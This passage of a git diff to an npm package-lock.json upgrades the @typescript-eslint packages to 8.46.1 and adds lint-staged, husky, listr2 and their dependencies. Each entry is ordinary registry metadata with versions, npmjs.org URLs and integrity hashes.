"node_modules/@typescript-eslint/types": { - "version": "7.18.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-7.18.0.tgz", - "integrity": "sha512-iZqi+Ds1y4EDYUtlOOC+aUmxnE9xS/yCigkjA7XpTKV6nCBd3Hp/PRGGmdwnfkV2ThMyYldP1wRpm/id99spTQ==", + "node_modules/@typescript-eslint/tsconfig-utils": { + "version": "8.46.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.46.1.tgz", + "integrity": "sha512-X88+J/CwFvlJB+mK09VFqx5FE4H5cXD+H/Bdza2aEWkSb8hnWIQorNcscRl4IEo1Cz9VI/+/r/jnGWkbWPx54g==", "dev": true, - "license": "MIT", "engines": { - "node": "^18.18.0 || >=20.0.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/types": { + "version": "8.46.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.46.1.tgz", + "integrity": "sha512-C+soprGBHwWBdkDpbaRC4paGBrkIXxVlNohadL5o0kfhsXqOC6GYH2S/Obmig+I0HTDl8wMaRySwrfrXVP8/pQ==", + "dev": true, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { "type": "opencollective", @@ -288,52 +320,62 @@ } }, "node_modules/@typescript-eslint/typescript-estree": { - "version": "7.18.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-7.18.0.tgz", - "integrity": "sha512-aP1v/BSPnnyhMHts8cf1qQ6Q1IFwwRvAQGRvBFkWlo3/lH29OXA3Pts+c10nxRxIBrDnoMqzhgdwVe5f2D6OzA==", + "version": "8.46.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.46.1.tgz", + "integrity": "sha512-uIifjT4s8cQKFQ8ZBXXyoUODtRoAd7F7+G8MKmtzj17+1UbdzFl52AzRyZRyKqPHhgzvXunnSckVu36flGy8cg==", "dev": true, - "license": "BSD-2-Clause", "dependencies": { - "@typescript-eslint/types": "7.18.0", - "@typescript-eslint/visitor-keys": "7.18.0", + "@typescript-eslint/project-service": "8.46.1", + "@typescript-eslint/tsconfig-utils": "8.46.1", + "@typescript-eslint/types": "8.46.1", + "@typescript-eslint/visitor-keys": "8.46.1", "debug": "^4.3.4", - "globby": "^11.1.0", + "fast-glob": "^3.3.2", "is-glob": "^4.0.3", "minimatch": "^9.0.4", "semver": "^7.6.0", - "ts-api-utils": "^1.3.0" + "ts-api-utils": "^2.1.0" }, "engines": { - "node": "^18.18.0 || >=20.0.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" } }, "node_modules/@typescript-eslint/visitor-keys": { - "version": "7.18.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-7.18.0.tgz", - "integrity": "sha512-cDF0/Gf81QpY3xYyJKDV14Zwdmid5+uuENhjH2EqFaF0ni+yAyq/LzMaIJdhNJXZI7uLzwIlA+V7oWoyn6Curg==", + "version": "8.46.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.46.1.tgz", + "integrity": "sha512-ptkmIf2iDkNUjdeu2bQqhFPV1m6qTnFFjg7PPDjxKWaMaP0Z6I9l30Jr3g5QqbZGdw8YdYvLp+XnqnWWZOg/NA==", "dev": true, - "license": "MIT", "dependencies": { - "@typescript-eslint/types": "7.18.0", - "eslint-visitor-keys": "^3.4.3" + "@typescript-eslint/types": "8.46.1", + "eslint-visitor-keys": "^4.2.1" }, "engines": { - "node": "^18.18.0 || >=20.0.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" } }, + "node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "dev": true, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, "node_modules/@ungap/structured-clone": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", @@ -385,6 +427,22 @@ "url": "https://github.com/sponsors/epoberezkin" } }, + "node_modules/ansi-escapes": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.1.1.tgz", + "integrity": "sha512-Zhl0ErHcSRUaVfGUeUdDuLgpkEo8KIFjB4Y9uAc46ScOpdDiU1Dbyplh7qWJeJ/ZHpbyMSM26+X3BySgnIz40Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "environment": "^1.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", @@ -459,16 +517,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/array-union": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", - "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, "node_modules/array.prototype.findlastindex": { "version": "1.2.6", "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz", @@ -589,7 +637,6 @@ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dev": true, - "license": "MIT", "dependencies": { "balanced-match": "^1.0.0" } @@ -698,6 +745,93 @@ "node": ">=8" } }, + "node_modules/cli-cursor": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-5.0.0.tgz", + "integrity": "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw==", + "dev": true, + "license": "MIT", + "dependencies": { + "restore-cursor": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-truncate": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-4.0.0.tgz", + "integrity": "sha512-nPdaFdQ0h/GEigbPClz11D0v/ZJEwxmeVZGeMo3Z5StPtUTkA9o1lD6QwoirYiSDzbcwn2XcjwmCp68W1IS4TA==", + "dev": true, + "license": "MIT", + "dependencies": { + "slice-ansi": "^5.0.0", + "string-width": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-truncate/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/cli-truncate/node_modules/emoji-regex": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.5.0.tgz", + "integrity": "sha512-lb49vf1Xzfx080OKA0o6l8DQQpV+6Vg95zyCJX9VB/BqKYlhG7N4wgROUUHRA+ZPUefLnteQOad7z1kT2bV7bg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cli-truncate/node_modules/string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-truncate/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, "node_modules/cliui": { "version": "8.0.1", "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", @@ -733,6 +867,23 @@ "dev": true, "license": "MIT" }, + "node_modules/colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", + "dev": true, + "license": "MIT" + }, + "node_modules/commander": { + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-13.1.0.tgz", + "integrity": "sha512-/rFeCpNJQbhSZjGVwO9RFV3xPqbnERS8MmIQzCtD/zl6gpJuV/bMLuN92oG3F7d8oDEHHRrujSXNUr8fpjntKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, "node_modules/concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", @@ -772,7 +923,6 @@ "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", @@ -898,19 +1048,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/dir-glob": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", - "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-type": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, "node_modules/doctrine": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", @@ -947,6 +1084,19 @@ "dev": true, "license": "MIT" }, + "node_modules/environment": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/environment/-/environment-1.1.0.tgz", + "integrity": "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/es-abstract": { "version": "1.24.0", "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.0.tgz", @@ -1343,6 +1493,7 @@ "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", "dev": true, "license": "Apache-2.0", + "peer": true, "engines": { "node": "^12.22.0 || ^14.17.0 || >=16.0.0" }, @@ -1444,6 +1595,37 @@ "node": ">=0.10.0" } }, + "node_modules/eventemitter3": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", + "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==", + "dev": true, + "license": "MIT" + }, + "node_modules/execa": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-8.0.1.tgz", + "integrity": "sha512-VyhnebXciFV2DESc+p6B+y0LjSm0krU4OgJN44qFAhBY0TJ+1V61tYD2+wHusZ6F9n5K+vl8k0sTy7PEfV4qpg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^8.0.1", + "human-signals": "^5.0.0", + "is-stream": "^3.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^5.1.0", + "onetime": "^6.0.0", + "signal-exit": "^4.1.0", + "strip-final-newline": "^3.0.0" + }, + "engines": { + "node": ">=16.17" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, "node_modules/fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", @@ -1457,7 +1639,6 @@ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", "dev": true, - "license": "MIT", "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", @@ -1474,7 +1655,6 @@ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", "dev": true, - "license": "ISC", "dependencies": { "is-glob": "^4.0.1" }, @@ -1652,6 +1832,19 @@ "node": "6.* || 8.* || >= 10.*" } }, + "node_modules/get-east-asian-width": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.4.0.tgz", + "integrity": "sha512-QZjmEOC+IT1uk6Rx0sX22V6uHWVwbdbxf1faPqJ1QhLdGgsRGCZoyaQBm/piRdJy/D2um6hM1UP7ZEeQ4EkP+Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/get-intrinsic": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", @@ -1691,6 +1884,19 @@ "node": ">= 0.4" } }, + "node_modules/get-stream": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-8.0.1.tgz", + "integrity": "sha512-VaUJspBffn/LMCJVoMvSAdmscJyS1auj5Zulnn5UoYcY531UWmdwhRWkcGKnGU93m5HSXP9LP2usOryrBtQowA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/get-symbol-description": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz", @@ -1806,27 +2012,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/globby": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", - "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", - "dev": true, - "license": "MIT", - "dependencies": { - "array-union": "^2.1.0", - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.9", - "ignore": "^5.2.0", - "merge2": "^1.4.1", - "slash": "^3.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/gopd": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", @@ -1942,12 +2127,39 @@ "node": ">= 0.4" } }, + "node_modules/human-signals": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-5.0.0.tgz", + "integrity": "sha512-AXcZb6vzzrFAUE61HnN4mpLqd/cSIwNQjtNWR0euPm6y0iqx3G4gOXaIDdtdDwZmhwe82LA6+zinmW4UBWVePQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=16.17.0" + } + }, + "node_modules/husky": { + "version": "9.1.7", + "resolved": "https://registry.npmjs.org/husky/-/husky-9.1.7.tgz", + "integrity": "sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA==", + "dev": true, + "license": "MIT", + "bin": { + "husky": "bin.js" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/typicode" + } + }, "node_modules/ignore": { "version": "5.3.2", "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">= 4" } @@ -2332,6 +2544,19 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/is-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-3.0.0.tgz", + "integrity": "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/is-string": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz", @@ -2441,8 +2666,7 @@ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", "dev": true, - "license": "ISC", - "peer": true + "license": "ISC" }, "node_modules/js-yaml": { "version": "4.1.0", @@ -2521,6 +2745,163 @@ "node": ">= 0.8.0" } }, + "node_modules/lilconfig": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", + "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antonk52" + } + }, + "node_modules/lint-staged": { + "version": "15.5.2", + "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-15.5.2.tgz", + "integrity": "sha512-YUSOLq9VeRNAo/CTaVmhGDKG+LBtA8KF1X4K5+ykMSwWST1vDxJRB2kv2COgLb1fvpCo+A/y9A0G0znNVmdx4w==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^5.4.1", + "commander": "^13.1.0", + "debug": "^4.4.0", + "execa": "^8.0.1", + "lilconfig": "^3.1.3", + "listr2": "^8.2.5", + "micromatch": "^4.0.8", + "pidtree": "^0.6.0", + "string-argv": "^0.3.2", + "yaml": "^2.7.0" + }, + "bin": { + "lint-staged": "bin/lint-staged.js" + }, + "engines": { + "node": ">=18.12.0" + }, + "funding": { + "url": "https://opencollective.com/lint-staged" + } + }, + "node_modules/lint-staged/node_modules/chalk": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/listr2": { + "version": "8.3.3", + "resolved": "https://registry.npmjs.org/listr2/-/listr2-8.3.3.tgz", + "integrity": "sha512-LWzX2KsqcB1wqQ4AHgYb4RsDXauQiqhjLk+6hjbaeHG4zpjjVAB6wC/gz6X0l+Du1cN3pUB5ZlrvTbhGSNnUQQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "cli-truncate": "^4.0.0", + "colorette": "^2.0.20", + "eventemitter3": "^5.0.1", + "log-update": "^6.1.0", + "rfdc": "^1.4.1", + "wrap-ansi": "^9.0.0" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/listr2/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/listr2/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/listr2/node_modules/emoji-regex": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.5.0.tgz", + "integrity": "sha512-lb49vf1Xzfx080OKA0o6l8DQQpV+6Vg95zyCJX9VB/BqKYlhG7N4wgROUUHRA+ZPUefLnteQOad7z1kT2bV7bg==", + "dev": true, + "license": "MIT" + }, + "node_modules/listr2/node_modules/string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/listr2/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/listr2/node_modules/wrap-ansi": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz", + "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.2.1", + "string-width": "^7.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, "node_modules/locate-path": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", @@ -2553,6 +2934,144 @@ "license": "MIT", "peer": true }, + "node_modules/log-update": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/log-update/-/log-update-6.1.0.tgz", + "integrity": "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-escapes": "^7.0.0", + "cli-cursor": "^5.0.0", + "slice-ansi": "^7.1.0", + "strip-ansi": "^7.1.0", + "wrap-ansi": "^9.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/log-update/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/log-update/node_modules/emoji-regex": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.5.0.tgz", + "integrity": "sha512-lb49vf1Xzfx080OKA0o6l8DQQpV+6Vg95zyCJX9VB/BqKYlhG7N4wgROUUHRA+ZPUefLnteQOad7z1kT2bV7bg==", + "dev": true, + "license": "MIT" + }, + "node_modules/log-update/node_modules/is-fullwidth-code-point": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-east-asian-width": "^1.3.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update/node_modules/slice-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", + "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.2.1", + "is-fullwidth-code-point": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/log-update/node_modules/string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + 